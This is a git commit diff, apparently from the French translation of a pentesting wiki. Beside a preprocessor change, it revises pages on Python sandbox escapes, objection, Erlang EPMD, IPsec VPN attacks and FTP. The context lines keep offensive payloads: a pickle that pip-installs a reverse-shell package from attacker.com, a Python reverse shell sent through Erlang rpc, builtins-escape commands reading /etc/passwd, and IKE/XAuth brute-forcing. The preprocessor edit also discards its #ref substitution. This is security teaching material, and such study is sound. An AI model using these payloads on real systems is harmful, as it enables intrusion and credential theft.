Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

2025-10-10 18:36:50 +00:00 · 2025-01-05 16:14:42 +00:00 · 2025-01-05 16:14:42 +00:00 · 28ad253ccf
commit 28ad253ccf
parent dcdf3038e9
18 changed files with 286 additions and 237 deletions
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@ -1,4 +1,5 @@
 import json
+import os
 import sys
 import re
 import logging
@ -68,6 +69,33 @@ def ref(matchobj):

    return result

+def files(matchobj):
+    logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
+    href =  matchobj.groups(0)[0].strip()
+    title = ""
+
+    try:
+        for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
+            if href in files:
+                title = href
+                logger.debug(f'File search result: {os.path.join(root, href)}')
+        
+    except Exception as e:
+        logger.debug(e)
+        logger.debug(f'Error searching file: {href}')
+        print(f'Error searching file: {href}')
+        sys.exit(1)
+
+        if title=="":
+            logger.debug(f'Error searching file: {href}')
+            print(f'Error searching file: {href}')
+            sys.exit(1)
+
+    template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
+
+    result = template
+
+    return result

 def add_read_time(content):
    regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
        current_chapter = chapter
        regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
        new_content = re.sub(regex, ref, chapter['content'])
+        regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
+        new_content = re.sub(regex, files, chapter['content'])
        new_content = add_read_time(new_content)
        chapter['content'] = new_content

--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,9 +2,9 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Ce sont quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.
+Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.

-## Bibliothèques d'exécution de commandes
+## Command Execution Libraries

 La première chose que vous devez savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pourriez importer l'une de ces bibliothèques :
 ```python
@ -41,18 +41,17 @@ system('ls')
 ```
 Rappelez-vous que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du sandbox python et pour **écrire du code** que vous pourriez **exécuter** pour **contourner** le sandbox.

-> [!CAUTION]
-> La fonction **input()** de Python2 permet d'exécuter du code python avant que le programme ne plante.
+> [!CAUTION] > La fonction **input()** de **Python2** permet d'exécuter du code python avant que le programme ne plante.

 Python essaie de **charger les bibliothèques du répertoire courant en premier** (la commande suivante affichera d'où python charge les modules) : `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Contourner le sandbox pickle avec les packages python installés par défaut
+## Contourner le sandbox pickle avec les paquets python installés par défaut

-### Packages par défaut
+### Paquets par défaut

-Vous pouvez trouver une **liste des packages pré-installés** ici : [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
+Vous pouvez trouver une **liste des paquets pré-installés** ici : [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
 Notez qu'à partir d'un pickle, vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées sur le système.\
 Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la bibliothèque pip pour l'utiliser :
 ```python
@ -80,7 +79,9 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
 Vous pouvez télécharger le package pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, modifier le `setup.py` et mettre votre IP pour le reverse shell** :

-{% file src="../../../images/Reverse.tar (1).gz" %}
+{{#file}}
+Reverse.tar (1).gz
+{{#endfile}}

 > [!NOTE]
 > Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu pour que lorsque vous quittez le reverse shell, le reste de l'installation échoue, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partirez.
@ -313,10 +314,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
 ```
 ### Pas de Builtins

-Lorsque vous n'avez pas `__builtins__`, vous ne pourrez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
+Lorsque vous n'avez pas `__builtins__`, vous ne pourrez rien importer ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
 Cependant, **par défaut, python importe beaucoup de modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux **importent également des** fonctionnalités **dangereuses** à l'intérieur qui peuvent être accessibles pour obtenir même **une exécution de code arbitraire**.

-Dans les exemples suivants, vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** à l'intérieur d'eux.
+Dans les exemples suivants, vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** à l'intérieur. 

 **Python2**
 ```python
@ -366,7 +367,7 @@ get_flag.__globals__['__builtins__']
 __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
 __builtins__["__import__"]('os').system('ls')
 ```
-### Payloads intégrés
+### Charges utiles intégrées
 ```python
 # Possible payloads once you have found the builtins
 __builtins__["open"]("/etc/passwd").read()
@ -685,7 +686,7 @@ Notez comment vous pouvez **accéder aux attributs** de manière normale avec un

 Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Certaines autres caractéristiques intéressantes des chaînes de format sont la possibilité d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant **`!s`**, **`!r`**, **`!a`** respectivement :
+Certaines autres caractéristiques intéressantes des chaînes de format sont la possibilité d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** dans l'objet indiqué en ajoutant **`!s`**, **`!r`**, **`!a`** respectivement :
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
@ -703,7 +704,7 @@ return 'HAL 9000'
 ```
 **Plus d'exemples** sur les **exemples de chaînes de format** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info)

-> [!AVERTISSEMENT]
+> [!CAUTION]
 > Vérifiez également la page suivante pour des gadgets qui vont r**écupérer des informations sensibles à partir des objets internes de Python** :

 {{#ref}}
@ -732,7 +733,7 @@ Depuis [ici](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-

 ### Du format à l'exécution de code à distance en chargeant des bibliothèques

-Selon le [**challenge TypeMonkey de cet article**](https://corgi.rip/posts/buckeye-writeups/), il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité de chaîne de format dans python.
+Selon le [**TypeMonkey chall de cet article**](https://corgi.rip/posts/buckeye-writeups/), il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité de chaîne de format dans python.

 En rappel, chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple, `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** sera **`{'a':'b'}.__getitem__('a')`**.

@ -767,14 +768,14 @@ Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséqu
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
-Le défi abuse en réalité d'une autre vulnérabilité sur le serveur qui permet de créer des fichiers arbitraires sur le disque des serveurs.
+Le défi abuse en fait d'une autre vulnérabilité sur le serveur qui permet de créer des fichiers arbitraires sur le disque des serveurs.

 ## Dissection des objets Python

 > [!NOTE]
 > Si vous voulez **apprendre** sur le **bytecode python** en profondeur, lisez ce **superbe** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-Dans certains CTFs, vous pourriez recevoir le nom d'une **fonction personnalisée où le flag** réside et vous devez examiner les **internes** de la **fonction** pour l'extraire.
+Dans certains CTF, vous pourriez recevoir le nom d'une **fonction personnalisée où le flag** réside et vous devez voir les **internes** de la **fonction** pour l'extraire.

 C'est la fonction à inspecter :
 ```python
@ -796,7 +797,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` et `func_globals` (Identiques) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
+`__globals__` et `func_globals` (Identique) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -897,7 +898,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Remarquez que **si vous ne pouvez pas importer `dis` dans le sandbox python**, vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **le désassembler** localement. Vous ne verrez pas le contenu des variables étant chargées (`LOAD_CONST`), mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique également le décalage de la variable étant chargée.
+Remarquez que **si vous ne pouvez pas importer `dis` dans le sandbox python**, vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **le désassembler** localement. Vous ne verrez pas le contenu des variables en cours de chargement (`LOAD_CONST`), mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique également l'offset de la variable en cours de chargement.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -919,7 +920,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 44 LOAD_CONST          0 (0)
 47 RETURN_VALUE
 ```
-## Compilation de Python
+## Compiler Python

 Maintenant, imaginons que d'une manière ou d'une autre, vous pouvez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** **l'exécuter**.\
 Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant simplement le désassemblage, vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
@ -981,7 +982,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 ### Bypass Defenses

-Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout dans une **ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
+Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout le reste en une **ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
 Quoi qu'il en soit, parfois il pourrait être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **machine CTF** (par exemple parce que nous n'avons pas la fonction `compiled` dans le CTF).

 Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
@ -1054,5 +1055,4 @@ sera contourné
 - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
 - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)

-
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
@ -2,8 +2,6 @@

 {{#include ../../../banners/hacktricks-training.md}}

-
-
 ## **Introduction**

 **objection - Exploration Mobile en Temps Réel**
@ -20,7 +18,9 @@ Le **but** de **objection** est de permettre à l'utilisateur d'appeler les **ac

 Pour ce tutoriel, je vais utiliser l'APK que vous pouvez télécharger ici :

-{% file src="../../../images/app-release.zip" %}
+{{#file}}
+app-release.zip
+{{#endfile}}

 Ou depuis son [dépôt original](https://github.com/asvid/FridaApp) (télécharger app-release.apk)

@ -73,7 +73,7 @@ android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
 android root disable  #Attempts to disable root detection on Android devices.
 android root simulate #Attempts to simulate a rooted Android environment.
 ```
-#### Exécuter la commande
+#### Commande Exec
 ```bash
 android shell_exec whoami
 ```
@ -113,7 +113,7 @@ android hooking search classes asvid.github.io.fridaapp
 ```
 ![](<../../../images/image (507).png>)

-#### Rechercher les méthodes d'une classe
+#### Méthodes de recherche d'une classe

 Maintenant, extrayons les méthodes à l'intérieur de la classe _MainActivity:_
 ```bash
@ -149,7 +149,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d

 #### Hooking (surveillance) d'une classe entière

-En fait, je trouve toutes les méthodes de la classe MainActivity vraiment intéressantes, alors **hookons-les toutes**. Faites attention, cela pourrait **faire planter** une application.
+En fait, je trouve tous les méthodes de la classe MainActivity vraiment intéressantes, alors **hookons-les toutes**. Faites attention, cela pourrait **faire planter** une application.
 ```bash
 android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
 ```
@ -225,6 +225,4 @@ exit
 - Vous ne pouvez pas utiliser les instances des classes pour appeler les fonctions de l'instance. Et vous ne pouvez pas créer de nouvelles instances de classes et les utiliser pour appeler des fonctions.
 - Il n'y a pas de raccourci (comme celui pour sslpinnin) pour hooker toutes les méthodes cryptographiques courantes utilisées par l'application afin de voir le texte chiffré, le texte en clair, les clés, les IV et les algorithmes utilisés.

-
-
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
+++ b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
@ -42,7 +42,7 @@ PORT     STATE SERVICE VERSION

 ## Connexion à distance

-Si vous pouvez **fuir le cookie d'authentification**, vous pourrez exécuter du code sur l'hôte. En général, ce cookie se trouve dans `~/.erlang.cookie` et est généré par erlang au premier démarrage. S'il n'est pas modifié ou défini manuellement, c'est une chaîne aléatoire \[A:Z] d'une longueur de 20 caractères.
+Si vous pouvez **fuiter le cookie d'authentification**, vous pourrez exécuter du code sur l'hôte. En général, ce cookie se trouve dans `~/.erlang.cookie` et est généré par erlang au premier démarrage. S'il n'est pas modifié ou défini manuellement, c'est une chaîne aléatoire \[A:Z] d'une longueur de 20 caractères.
 ```bash
 greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
 Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -57,9 +57,11 @@ At last, we can start an erlang shell on the remote system.
 Plus d'informations sur [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
 L'auteur partage également un programme pour bruteforcer le cookie :

-{% file src="../images/epmd_bf-0.1.tar.bz2" %}
+{{#file}}
+epmd_bf-0.1.tar.bz2
+{{#endfile}}

-## Connexion Locale
+## Connexion locale

 Dans ce cas, nous allons abuser de CouchDB pour élever les privilèges localement :
 ```bash
@ -69,7 +71,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
 (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
 ```
 Exemple tiré de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
-Vous pouvez utiliser la **machine Canape HTB pour** **vous entraîner** à **exploiter cette vuln**.
+Vous pouvez utiliser la **machine Canape HTB pour** **vous entraîner** à **exploiter cette vulnérabilité**.

 ## Metasploit
 ```bash
@ -78,6 +80,6 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
 ```
 # Shodan

- `port:4369 "au port"`
+- `port:4369 "à port"`

 {{#include ../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md
+++ b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md
@ -26,11 +26,11 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
 ```
 ## **Trouver une transformation valide**

-La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. **Chaque transformation** contient un certain nombre d'attributs comme DES ou 3DES comme **algorithme de chiffrement**, SHA ou MD5 comme **algorithme d'intégrité**, une clé pré-partagée comme **type d'authentification**, Diffie-Hellman 1 ou 2 comme **algorithme de distribution de clés** et 28800 secondes comme **durée de vie**.
+La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. **Chaque transformation** contient un certain nombre d'attributs comme DES ou 3DES en tant qu'**algorithme de chiffrement**, SHA ou MD5 en tant qu'**algorithme d'intégrité**, une clé pré-partagée en tant que **type d'authentification**, Diffie-Hellman 1 ou 2 en tant qu'**algorithme de distribution de clés** et 28800 secondes en tant que **durée de vie**.

 Ensuite, la première chose que vous devez faire est de **trouver une transformation valide**, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil **ike-scan**. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition avec **huit transformations à l'intérieur**.

-Selon la réponse, vous pouvez obtenir des informations sur le point de terminaison :
+En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison :
 ```
 root@bt:~# ike-scan -M 172.16.21.200
 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -41,11 +41,11 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

 Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
 ```
-Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le vpn est configuré en utilisant une clé prépartagée (et c'est vraiment bon pour un pentester).\
+Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le vpn est configuré en utilisant une clé prépartagée (et c'est vraiment bien pour un pentester).\
 **La valeur de la dernière ligne est également très importante :**

 - _0 returned handshake; 0 returned notify:_ Cela signifie que la cible **n'est pas une passerelle IPsec**.
- _**1 returned handshake; 0 returned notify:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'une ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
+- _**1 returned handshake; 0 returned notify:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'un ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
 - _0 returned handshake; 1 returned notify:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus approfondie et une proposition révisée devraient être essayées).

 Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez **brute-forcer un peu pour trouver une transformation valide :**
@ -77,7 +77,7 @@ Cisco indique d'éviter d'utiliser les groupes DH 1 et 2 car ils ne sont pas ass

 ### Identification du serveur

-Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** de l'appareil. L'outil envoie une proposition initiale et cesse de rejouer. Ensuite, il **analysera** la **différence** de **temps** **entre** les **messages** reçus du serveur et le modèle de réponse correspondant, le pentester peut réussir à identifier le fournisseur de la passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **Vendor ID (VID)** optionnelle avec IKE.
+Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** de l'appareil. L'outil envoie une proposition initiale et cesse de rejouer. Ensuite, il **analysera** la **différence** de **temps** **entre** les **messages** reçus du serveur et le modèle de réponse correspondant, le pentester peut ainsi identifier avec succès le fournisseur de la passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **Vendor ID (VID)** optionnelle avec IKE.

 **Spécifiez la transformation valide si nécessaire** (en utilisant --trans)

@ -118,25 +118,27 @@ Si **aucun hash n'est retourné**, alors probablement cette méthode de brute fo

 ![](<../images/image (917).png>)

-Mais si comme je l'ai dit, aucun hash n'est retourné, alors vous devriez essayer de brute-forcer des noms de groupe communs en utilisant ike-scan.
+Mais si comme je l'ai dit, aucun hash n'est retourné, alors vous devriez essayer de brute-forcer des noms de groupes communs en utilisant ike-scan.

-Ce script **essaiera de brute-forcer les ID possibles** et renverra les ID où une poignée de main valide est retournée (ce sera un nom de groupe valide).
+Ce script **va essayer de brute-forcer des IDs possibles** et va retourner les IDs où une poignée de main valide est retournée (ceci sera un nom de groupe valide).

 Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).

-Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui dans seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de noms de groupe communs pour les brute-forcer :
+Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui dans seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de noms de groupes communs pour les brute-forcer :
 ```bash
 while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
 ```
-{% file src="../images/vpnIDs.txt" %}
+{{#file}}
+vpnIDs.txt
+{{#endfile}}

-### Bruteforçage d'ID avec Iker
+### Bruteforçage de l'ID avec Iker

-[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour bruteforcer les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
+[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour bruteforcer les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie d'ike-scan**.

-### Bruteforçage d'ID avec ikeforce
+### Bruteforçage de l'ID avec ikeforce

-[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut également être utilisé pour **bruteforcer des IDs**. Cet outil va **essayer d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **distinguer entre un ID valide et un ID non valide** (cela peut avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
+[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **bruteforcer les IDs également**. Cet outil va **essayer d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **distinguer entre un ID valide et un ID non valide** (cela peut avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).

 Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.

@ -146,7 +148,7 @@ Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérif
 - Enfin, si le serveur ne répond à aucune des vérifications, **ikeforce** essaiera de bruteforcer le serveur et vérifiera si, lorsque l'ID correct est envoyé, le serveur répond avec un paquet.\
 Évidemment, l'objectif de bruteforcer l'ID est d'obtenir le **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et le **PSK**, vous devrez bruteforcer le XAUTH (s'il est activé).

-Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).
+Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).
 ```bash
 git clone https://github.com/SpiderLabs/ikeforce.git
 pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -157,7 +159,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
 ```
 ### Sniffing ID

-(From the book **Network Security Assessment: Know Your Network**): Il est également possible d'obtenir des noms d'utilisateur valides en reniflant la connexion entre le client VPN et le serveur, car le premier paquet du mode agressif contenant l'ID du client est envoyé en clair.
+(From the book **Network Security Assessment: Know Your Network**): Il est également possible d'obtenir des noms d'utilisateur valides en reniflant la connexion entre le client VPN et le serveur, car le premier paquet du mode agressif contenant l'ID client est envoyé en clair.

 ![](<../images/image (891).png>)

@ -175,21 +177,21 @@ psk-crack -d <Wordlist_path> psk.txt
 ```
 ## **XAuth**

-**Le mode agressif IKE** combiné avec une **clé pré-partagée (PSK)** est couramment utilisé pour des **objectifs d'authentification de groupe**. Cette méthode est augmentée par **XAuth (Authentification Étendue)**, qui sert à introduire une couche supplémentaire d'**authentification utilisateur**. Cette authentification s'appuie généralement sur des services tels que **Microsoft Active Directory**, **RADIUS**, ou des systèmes comparables.
+**Le mode agressif IKE** combiné avec une **clé pré-partagée (PSK)** est couramment utilisé à des fins **d'authentification de groupe**. Cette méthode est augmentée par **XAuth (Authentification Étendue)**, qui sert à introduire une couche supplémentaire d'**authentification utilisateur**. Cette authentification s'appuie généralement sur des services tels que **Microsoft Active Directory**, **RADIUS**, ou des systèmes comparables.

 En passant à **IKEv2**, un changement notable est observé où **EAP (Protocole d'Authentification Extensible)** est utilisé à la place de **XAuth** pour authentifier les utilisateurs. Ce changement souligne une évolution des pratiques d'authentification au sein des protocoles de communication sécurisés.

 ### Local network MitM to capture credentials

-Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait avec l'aide de l'ARP spoofing, [plus d'infos](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira comme un point de terminaison VPN et capturera les identifiants XAuth :
+So you can capture the data of the login using _fiked_ and see if there is any default username (You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked will act as a VPN endpoint and will capture the XAuth credentials:
 ```bash
 fiked -g <IP> -k testgroup:secretkey -l output.txt -d
 ```
-Aussi, en utilisant IPSec, essayez de réaliser une attaque MitM et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.
+Aussi, en utilisant IPSec, essayez de réaliser une attaque MitM et bloquez tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.

 ### Brute-forcing le nom d'utilisateur et le mot de passe XAUTH avec ikeforce

-Pour forcer le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et le **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateur et une liste de mots de passe :
+Pour brute forcer le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et le **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateur et une liste de mots de passe :
 ```bash
 ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
 ```
@ -225,7 +227,7 @@ Dans cette configuration :

 Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les espaces réservés lors de la configuration du VPN.

-## Matériel de Référence
+## Matériel de référence

 - [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
 - [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
--- a/src/network-services-pentesting/pentesting-ftp/README.md
+++ b/src/network-services-pentesting/pentesting-ftp/README.md
@ -14,11 +14,11 @@ PORT   STATE SERVICE
 ```
 ### Connexions Actives & Passives

-Dans **FTP Actif**, le **client** FTP **initie** d'abord la **connexion** de contrôle depuis son port N vers le port de commande du serveur FTP – port 21. Le **client** écoute ensuite le port **N+1** et envoie le port N+1 au serveur FTP. Le **serveur** FTP **initie** alors la **connexion** de données, depuis **son port M vers le port N+1** du client FTP.
